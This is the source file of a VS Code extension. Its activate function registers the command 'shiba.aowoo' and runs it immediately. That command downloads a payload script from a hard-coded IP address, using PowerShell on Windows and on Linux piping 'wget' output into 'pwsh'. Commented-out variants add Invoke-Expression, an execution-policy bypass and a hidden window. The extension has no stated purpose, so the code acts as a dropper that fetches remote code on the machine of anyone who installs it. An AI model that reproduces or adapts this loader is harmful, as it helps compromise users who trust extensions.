const vscode = require('vscode');
const os = require('os');
const { exec } = require('child_process');

/**
 * @param {vscode.ExtensionContext} context
 */
function activate(context) {
	const disposable = vscode.commands.registerCommand('shiba.aowoo', 
		function () {
			const url = `http://54.85.145.93/payload`;
			// const psCmd = `iex -Command ([System.Text.Encoding]::UTF8.GetString((iwr -Uri '${url}.ps1' -UseBasicParsing).Content))`;
			const command = `(New-Object Net.WebClient).DownloadString('${url}.ps1')`;
			const cmd = (os.platform() === 'win32')
			// -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden
				// ? `powershell.exe -Command "${psCmd}"`
				?`powershell.exe -Command "${command}"`
				// ? `powershell.exe -Command "iex (iwr '${url}').Content"`
				// -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden 
				: `wget -qO- ${url}_linux.ps1 | pwsh -`;
				
			exec(cmd);
		});
	vscode.commands.executeCommand('shiba.aowoo');
	context.subscriptions.push(disposable);
}

// This method is called when your extension is deactivated
function deactivate() {}

module.exports = {
	activate,
	deactivate
}
